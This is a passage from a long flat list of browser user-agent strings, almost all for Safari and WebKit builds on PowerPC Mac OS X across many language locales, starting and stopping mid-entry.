Safari/525.20.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_6; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_6; en-us) AppleWebKit/528.16 (KHTML, like Gecko) Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_6; en-us) AppleWebKit/530.1+ (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_6; fr-fr) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_6; nl-nl) AppleWebKit/530.0+ (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_7; en-us) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; en-us) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; en-us) AppleWebKit/532.0+ (KHTML, like Gecko) Version/4.0.3 Safari/531.9 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; en-us) AppleWebKit/532.0+ (KHTML, like Gecko) Version/4.0.3 Safari/531.9.2009 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; ja-jp) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/3.2.3 Safari/525.28.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; ja-jp) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; ja-jp) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; ja-jp) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; zh-cn) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081212 Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/526.9 (KHTML, like Gecko) Version/4.0dp1 Safari/526.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_6_1; en_GB, en_US) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ca-es) AppleWebKit/522.11.1 (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; da-dk) AppleWebKit/522+ (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-ch) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-CH) AppleWebKit/419.2 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-ch) AppleWebKit/85 (KHTML, like Gecko) Safari/85 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/124 (KHTML, like Gecko) Safari/125 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/124 (KHTML, like Gecko) Safari/125.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.7 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.4 (KHTML, like Gecko) Safari/125.9 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.12_Adobe Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.5.6 (KHTML, like Gecko) Safari/125.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.5.6 (KHTML, like Gecko) Safari/125.12_Adobe Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.5.7 (KHTML, like Gecko) Safari/125.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.1.1 (KHTML, like Gecko) Safari/312 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312.3.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.5.2 (KHTML, like Gecko) Safari/312.3.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.8.1 (KHTML, like Gecko) Safari/312.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.5_Adobe Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/412.6.2 (KHTML, like Gecko) Safari/412.2.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/412.6 (KHTML, like Gecko) Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/412.6 (KHTML, like Gecko) Safari/412.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/412.6 (KHTML, like Gecko) Safari/412.2_Adobe Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5_Adobe Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/412 (KHTML, like Gecko) Safari/412 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13_Adobe Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/419.2 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/522.11 (KHTML, like Gecko) Version/3.0.2 Safari/522.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.7 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/85.8.2 (KHTML, like Gecko) Safari/85.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/85.8.5 (KHTML, like Gecko) Safari/85 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/85.8.5 (KHTML, like Gecko) Safari/85.8.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/124 (KHTML, like Gecko) Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/124 (KHTML, like Gecko) Safari/125 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.7 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.2 (KHTML, like Gecko) Safari/85.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.4 (KHTML, like Gecko) Safari/100 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.4 (KHTML, like Gecko) Safari/125.9 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.11 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.5.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5.6 (KHTML, like Gecko) Safari/125.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5.7 (KHTML, like Gecko) Safari/125.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5 (KHTML, like Gecko) Safari/125.9 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.1.1 (KHTML, like Gecko) Safari/312 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/125.9 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.5.2 (KHTML, like Gecko) Safari/125 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.5.2 (KHTML, like Gecko) Safari/312.3.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.5 (KHTML, like Gecko) Safari/312.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.8.1 (KHTML, like Gecko) Safari/312.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.3.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412.6.2 (KHTML, like Gecko) Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412.6.2 (KHTML, like Gecko) Safari/412.2.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412.6 (KHTML, like Gecko) Safari/412.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412 (KHTML, like Gecko) Safari/412 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/416.11 (KHTML, like Gecko) Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/416.11 (KHTML, like Gecko) Safari/416.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/522.11.1 (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/522.11 (KHTML, like Gecko) Version/3.0.2 Safari/522.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/523.3+ (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/85.8.2 (KHTML, like Gecko) Safari/85.8.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/85.8.5 (KHTML, like Gecko) Safari/85.8.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-au) AppleWebKit/125.4 (KHTML, like Gecko) Safari/125.9 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en_CA) AppleWebKit/125.4 (KHTML, like Gecko) Safari/125.9 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-ca) AppleWebKit/416.11 (KHTML, like Gecko) Safari/416.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en_CA) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-gb) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-gb) AppleWebKit/85.8.5 (KHTML, like Gecko) Safari/85.8.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/124 (KHTML, like Gecko) Safari/125 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.7 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.4 (KHTML, like Gecko) Safari/125.9 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.11 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.5.6 (KHTML, like Gecko) Safari/125.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.5.7 (KHTML, like Gecko) Safari/125.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.1 (KHTML, like Gecko) Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.5 (KHTML, like Gecko) Safari/312.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.8.1 (KHTML, like Gecko) Safari/312.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/412.6 (KHTML, like Gecko) Safari/412.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/412 (KHTML, like Gecko) Safari/412 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en_US) AppleWebKit/412 (KHTML, like Gecko) Safari/412 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/412 (KHTML, like Gecko) Safari/412 Privoxy/3.0 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/416.11 (KHTML, like Gecko) Safari/416.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.9.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/522.11 (KHTML, like Gecko) Version/3.0.2 Safari/522.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/522+ (KHTML, like Gecko) Version/3.0.2 Safari/522.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/523.10.3 (KHTML, like Gecko) Version/3.0.4 Safari/523.10 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/523.6 (KHTML, like Gecko) Version/3.0.3 Safari/523.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/85.8.2 (KHTML, like Gecko) Safari/85.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/85.8.5 (KHTML, like Gecko) Safari/85.8.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; es) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; es) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; es) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; es) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; es-es) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; es-es) AppleWebKit/312.5.2 (KHTML, like Gecko) Safari/312.3.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; es-ES) AppleWebKit/412 (KHTML, like Gecko) Safari/412 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; es-es) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fi-fi) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fi-fi) AppleWebKit/420+ (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/312.5.2 (KHTML, like Gecko) Safari/312.3.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/312.5 (KHTML, like Gecko) Safari/312.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/412.6 (KHTML, like Gecko) Safari/412.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/412 (KHTML, like Gecko) Safari/412 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/416.11 (KHTML, like Gecko) Safari/416.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/416.12 (KHTML, like Gecko) Safari/412.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13_Adobe Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/417.9 (KHTML, like Gecko) Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/85.8.5 (KHTML, like Gecko) Safari/85.8.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-ca) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-ch) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.11 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-ch) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-ch) AppleWebKit/312.1.1 (KHTML, like Gecko) Safari/312 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/125.4 (KHTML, like Gecko) Safari/125.9 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.11 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/125.5.6 (KHTML, like Gecko) Safari/125.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/125.5 (KHTML, like Gecko) Safari/125.9 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.1.1 (KHTML, like Gecko) Safari/312 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.1 (KHTML, like Gecko) Safari/125 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.5.2 (KHTML, like Gecko) Safari/312.3.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.5 (KHTML, like Gecko) Safari/312.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/412 (KHTML, like Gecko) Safari/412 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/416.11 (KHTML, like Gecko) Safari/416.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/523.10.3 (KHTML, like Gecko) Version/3.0.4 Safari/523.10 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/85.8.5 (KHTML, like Gecko) Safari/85.8.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/124 (KHTML, like Gecko) Safari/125.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/412.6 (KHTML, like Gecko) Safari/412.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.9.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/125.4 (KHTML, like Gecko) Safari/125.9 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nb-no) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nb-no) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nb-no) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nl-nl) AppleWebKit/416.11 (KHTML, like Gecko) Safari/312 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nl-nl) AppleWebKit/416.11 (KHTML, like Gecko) Safari/416.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nl-nl) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nl-nl) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nl-nl) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.9.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nl-nl) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nl-nl) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; pt-pt) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/312.5.2 (KHTML, like Gecko) Safari/312.3.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/312.8 (KHTML, like Gecko) 